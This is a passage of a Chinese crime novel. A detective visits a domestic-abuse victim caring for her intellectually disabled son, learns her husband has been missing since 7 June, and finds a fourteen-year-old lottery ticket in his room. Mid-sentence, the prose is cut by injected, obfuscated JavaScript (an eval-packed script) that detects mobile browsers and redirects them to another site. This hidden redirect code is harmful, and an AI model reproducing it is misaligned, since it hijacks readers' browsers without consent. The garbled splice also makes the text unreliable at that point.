“这,也说不清楚,我也不知道。”刘芳不自觉地手用力,门向内收了收。 “刘女士,你也不问问我找他有什么事啊?” “啊?”刘芳一愣,木木地重复着:“那你找他有什么事?” “有一个案子,有一些情况想向他了解一下。” 顾安程话音刚落,房间里突然传出一记声响,像是玻璃的物品砸落到了地上碎了。 两人皆是一惊,而刘芳的反应更大,她也顾不上顾安程了,转身就往里走,打开其中一间卧室的门就往里冲。 顾安程犹豫了一下,也跟着进去了。 在房间里,他看到了宋国平和刘芳的儿子:宋冲。 宋冲坐在椅子上,双手胡乱挥舞着,嘴里哼哼着,在他不远处的地上,是一个破碎的玻璃杯,而刘芳正蹲下来想要用手拾起玻璃渣,穿着长袖的她因为这个动作露出了一截皮肤。 顾安程拧着眉制止她:“等等,别用手拿!”他在厨房里找到了扫帚和簸箕,把玻璃渣扫了进去,又问刘芳:“有玻璃胶带吗?” 把玻璃渣倒进了垃圾袋里,他又用胶带完全包了一圈。 “谢谢啊。” “没事没事。”顾安程看了一眼自己还穿着的鞋子,赶紧向她道歉,“不好意思啊,我直接进来了。” “没事,你坐吧。”刘芳搂着自己的儿子,轻拍他的背安抚着,她苦笑着对顾安程道:“警察同志,你也看到了,我儿子有智力障碍。” 顾安程点点头,冲宋冲笑了笑,和他招了招手,“别怕。” 宋冲更往自己母亲怀里缩了缩。 顾安程收敛了脸上的笑意,他平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404787|140277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓而严肃地开口:“刘女士,你手上的伤是宋国平弄的吗?” 刘芳一听,本能地拉了拉袖口,想掩盖住手上的伤痕。 虽然只扫到了一眼,但顾安程判断得出来,新伤覆盖着旧伤,这是频繁家暴的痕迹,且肯定持续了很久。 长期的家暴伤害了她的身体,更摧毁了她的精神。既要全身心照顾智力障碍的儿子,又要操持家里的一切,还要忍受丈夫的暴力摧残,那是怎样如同地狱一般的日子。 但她强撑下来了,为了儿子她撑下来了。 发现瞒不住了,刘芳哽咽着点点头。 顾安程本想问她没有想过离婚吗,没有想过报警寻求帮助吗?可话到了嘴边又咽了下去,宋冲有智力障碍,离不开人,也就意味着刘芳大概率是没有工作,全职在家照顾家里的,经济来源全靠宋国平,让刘芳怎么抗争,拿什么抗争。 他一个外人没有资格来问这种问题,而且这些话听在刘芳的耳里只会令她觉得是质问,是伤害。 他抿了抿嘴,换了一个问题,“宋国平是不是失踪了?” 刘芳震惊的表情让顾安程确信,自己问对了。 “你,你怎么会知道?” 顾安程心说因为你表现的太明显了,他没回答,转而问:“他失踪几天了?” “好多天了,上上周的时候。” 居然这么久了吗…… 顾安程用手机拨了宋国平的号码,果然是关机,“你还记得是几号吗?” “你等等。”刘芳去看了日历,上面圈出了一个日期。 “6月7号,他早上去上班,然后就再也没回来。” 6月7号……《无人生还》这张话剧票的订票时间正是6月7日晚上23时08分,所以有很大的概率,这张话剧票不是宋国平亲自订的,而是有人用了他的账号买的。 顾安程收回思绪,想到了一件事,“刘女士,宋国平失踪后,你是不是没报警?” 刘芳点点头,更搂紧了自己的儿子。 “那他单位那边呢?” “我,我帮他请了事假。” 怪不得,没人想找宋国平,饱受家暴的刘芳并不希望她这个丈夫回家,这种短暂的解脱她不可能愿意去破坏。 “刘女士,希望你理解,现在你丈夫失踪,按照你们的情况,我们得对这个房子进行一下检查。”顾安程于心不忍,但这是必须要走的程序。 刘芳强忍着泪水,点头道:“我理解我理解。” *** 宋国平平时自己单独住那间大卧室,顾安程搜查着他卧室里的物品,床对面的桌子上摆着一套茶具,旁边是一个相框,他拿起来细看,奇怪的是,相框里装着的不是相片。 而是一张彩票。 一张十四年前的彩票。